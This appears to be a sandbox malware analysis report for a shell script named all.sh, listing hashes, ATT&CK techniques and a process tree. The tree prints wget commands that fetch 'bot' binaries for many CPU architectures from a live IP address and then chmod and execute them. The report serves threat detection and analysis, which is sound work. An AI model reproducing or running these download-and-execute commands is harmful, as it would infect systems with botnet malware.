289a65cd34035c522e456140bca2c5fdf6ad0d1afabc446dcda7fa528dd97b09

Analysis

max time kernel
2s
max time network
4s
platform
debian-9_armhf
resource
debian9-armhf-20260126-en
resource tags

arch:armhfimage:debian9-armhf-20260126-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
29/04/2026, 06:38

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
all.sh
Size 3KB
Sample260429-hebb5sc16j
SHA256 289a65cd34035c522e456140bca2c5fdf6ad0d1afabc446dcda7fa528dd97b09
MD5 72cce5f54f04dc9a49d1c977a5c69d01
SHA1 aab324c7901cba601be0dc78df21b6d03b052caa
SHA512 884fb73eb41fa207fd0c5a6e836b4114abf43edbb7cd69922b97b4d6e03ce835d337d0dea3999f80e94ea03166dd9b1f66f2e05813ee84bcd596d9f1e728c89c
TLSH
T1677194DC012133B7ED29AB1F7B54CB25298481D22E90CFBD6D49DE244B847A73B4B6C0
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 14 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
700	chmod
699	chmod
698	chmod
705	chmod
707	chmod
708	chmod
710	chmod
713	chmod
704	chmod
706	chmod
709	chmod
714	chmod
717	chmod
724	chmod

Executes dropped EXE 14 IoCs

ioc	pid	Process
/tmp/bot	701	all.sh
/tmp/bot	702	all.sh
/tmp/bot	703	all.sh
/tmp/bot	711	all.sh
/tmp/bot	712	all.sh
/tmp/bot	715	all.sh
/tmp/bot	716	all.sh
/tmp/bot	718	all.sh
/tmp/bot	719	all.sh
/tmp/bot	720	all.sh
/tmp/bot	721	all.sh
/tmp/bot	722	all.sh
/tmp/bot	728	all.sh
/tmp/bot	730	all.sh

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
665	wget

Writes file to tmp directory 14 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	wget

/tmp/all.sh
/tmp/all.sh
1⤵
- Executes dropped EXE
PID:645
- /usr/bin/wget
  wget -q http://87.121.79.160/bins/KKveTTgaAAsecNNaaaa.i686 -O bot
  2⤵
  - Writes file to tmp directory
  PID:662
- /usr/bin/wget
  wget -q http://87.121.79.160/bins/KKveTTgaAAsecNNaaaa.x86_64 -O bot
  2⤵
  - Writes file to tmp directory
  PID:661
- /usr/bin/wget
  wget -q http://87.121.79.160/bins/KKveTTgaAAsecNNaaaa.mpsl -O bot
  2⤵
  - Writes file to tmp directory
  PID:667
- /usr/bin/wget
  wget -q http://87.121.79.160/bins/KKveTTgaAAsecNNaaaa.mips -O bot
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:665
- /usr/bin/wget
  wget -q http://87.121.79.160/bins/KKveTTgaAAsecNNaaaa.arm -O bot
  2⤵
  - Writes file to tmp directory
  PID:669
- /usr/bin/wget
  wget -q http://87.121.79.160/bins/KKveTTgaAAsecNNaaaa.x86 -O bot
  2⤵
  - Writes file to tmp directory
  PID:664
- /usr/bin/wget
  wget -q http://87.121.79.160/bins/KKveTTgaAAsecNNaaaa.arm5 -O bot
  2⤵
  - Writes file to tmp directory
  PID:672
- /usr/bin/wget
  wget -q http://87.121.79.160/bins/KKveTTgaAAsecNNaaaa.arm6 -O bot
  2⤵
  - Writes file to tmp directory
  PID:674
- /usr/bin/wget
  wget -q http://87.121.79.160/bins/KKveTTgaAAsecNNaaaa.ppc -O bot
  2⤵
  - Writes file to tmp directory
  PID:679
- /usr/bin/wget
  wget -q http://87.121.79.160/bins/KKveTTgaAAsecNNaaaa.arm7 -O bot
  2⤵
  - Writes file to tmp directory
  PID:676
- /usr/bin/wget
  wget -q http://87.121.79.160/bins/KKveTTgaAAsecNNaaaa.spc -O bot
  2⤵
  - Writes file to tmp directory
  PID:681
- /usr/bin/wget
  wget -q http://87.121.79.160/bins/KKveTTgaAAsecNNaaaa.m68k -O bot
  2⤵
  - Writes file to tmp directory
  PID:684
- /usr/bin/wget
  wget -q http://87.121.79.160/bins/KKveTTgaAAsecNNaaaa.sh4 -O bot
  2⤵
  - Writes file to tmp directory
  PID:687
- /usr/bin/wget
  wget -q http://87.121.79.160/bins/KKveTTgaAAsecNNaaaa.arc -O bot
  2⤵
  - Writes file to tmp directory
  PID:688
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:700
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:699
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:698
- /tmp/bot
  ./bot
  2⤵
  PID:702
- /tmp/bot
  ./bot
  2⤵
  PID:703
- /tmp/bot
  ./bot
  2⤵
  PID:701
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:705
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:704
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:706
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:707
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:708
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:710
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:709
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:713
- /tmp/bot
  ./bot
  2⤵
  PID:712
- /tmp/bot
  ./bot
  2⤵
  PID:711
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:714
- /tmp/bot
  ./bot
  2⤵
  PID:715
- /tmp/bot
  ./bot
  2⤵
  PID:716
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:717
- /tmp/bot
  ./bot
  2⤵
  PID:718
- /tmp/bot
  ./bot
  2⤵
  PID:719
- /tmp/bot
  ./bot
  2⤵
  PID:720
- /tmp/bot
  ./bot
  2⤵
  PID:721
- /tmp/bot
  ./bot
  2⤵
  PID:722
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:724
- /tmp/bot
  ./bot
  2⤵
  PID:728
- /tmp/bot
  ./bot
  2⤵
  PID:730

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

bot

Path /tmp/bot
Size 131KB
SHA256 e93cf376a0c8e36a6c93b3329e03ab021280cadcb320d72d8407ed4c99fff641
MD5 495001e3c3b8ef173a22c29f4386a3a2
SHA1 a720df9f1f7482571d32ca1f2f3a7e19b7beafba
SHA512 2ef5dd5abda51d68fbea77a0d4dbf834b1d91d5ccb3911c3c9b47c61bbb638410c447ec2ce66dbe2a7c1abf8db8a57a6a1cfa6244eb96491973a9b998bd43ab3
SSDEEP 3072:nMANiQ8PQmfPSVpFJYkL3lGBo8znNXlh+Hy2PUGyM/E:MAHJmf61JYks9NXlV
TLSH
T1C7D39E43B64358EDC057C83487BEE023FA21F4DD413931AF8B88AF762D5AE611B27695
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bot

Path /tmp/bot
Size 135KB
SHA256 ee5b4b09e3fd1f506ce986ea08b55722fb5f9a82014d7ff131fe1dfadf3094ec
MD5 1659988ad7aab4f40fd872bd9899887f
SHA1 5f057f4f7425780398af19ac38989540f6424754
SHA512 cd9d33e96caedce4d9cdc9fa0408a1d1b6914139326cb646559c0b794e6d89e3cbb95f95db19653773119c7bac9da01b0f783a1b87ccce820fefdf4ce923175c
SSDEEP 3072:nMANiQ8PQmfPSVpFJYkL3lGBo8znNXlh+Hy2PUGyM/fr0:MAHJmf61JYks9NXlur0
TLSH
T1C7D39E03B64258EEC057C83487BEE027FA21F4DD413931AF8B98AF762D5AE611727794
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bot

Path /tmp/bot
Size 143KB
SHA256 1ced8d872f0c0c456d9787520303a7a50de6f359aaf586482d6c3332b1d2e884
MD5 cfba1219d5caea1c6398808efbba587a
SHA1 5be045eccf44b15102c604e3ce3e7ea36853b2df
SHA512 fc6ed09e39293f0732adfc783925fe89cab25713ff62c41c974cd5c0f03b656e0a3b7f5bf3f0a40d5f1ff8f1797ed00918106235fa393d01a956f19d3a552f07
SSDEEP 3072:nMANiQ8PQmfPSVpFJYkL3lGBo8znNXlh+Hy2PUGyM/frsdw6:MAHJmf61JYks9NXlur/6
TLSH
T155E3AF07F64254EEC057C83493BFD027FA21F4AD4179316F8B88AF362E9AE211727695
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bot

Path /tmp/bot
Size 523KB
SHA256 c745b16b75c651b2ca81bc937f3a5f7e35270c83fdfbd7b5b7909ef21e14b9fa
MD5 9d3cf1c24537184330dcad715b41375f
SHA1 1984261b766b1a396470fac96affbeb2aa26089e
SHA512 e07846c09b5d6da0830534486de12a4379234a7fe9736e2e1d91b5ea0e83943002df3132e99c248333024663da1b3835d07d1c2bd96ae1bbc0a5b1421d2d2612
SSDEEP 12288:dmSJYdZur/Rygj9Z9lDQD58p1EpC1HEEw1N:dmSJYdZuro6naYiN
TLSH
T1B9B4AE13F60229AAC463C53C12BBC274B736F6591316A31B638DFA7A3DC2A350B167D5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bot

Path /tmp/bot
Size 904KB
SHA256 8a946ff91b48e0ed900c86793f7f27b93b42a1cbdc5ced055519d88a61ed2426
MD5 d75e905c040fd0818b12c225caa518a8
SHA1 e92f71a6c28d407d749f19c5765e77a173b025a3
SHA512 0b29681e855e59fc2064633011fe2c640020474c6fdc04dfd2d4d3497c57ef586132924eb7ef368ffc3524ae9297022f704f465bb0c8a7364d30bc5c1e6a5298
SSDEEP 12288:dmSJYdZur/Rygj9Z9lDQD58p1EpC1HEEw1Yg+863EGmyLy5YXhqgi5k:dmSJYdZuro6naYip+zuOh
TLSH
T10B159047F3622C99C467C83C42ABC171A636F5551312667B7388EA353E93E350F2A7E2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads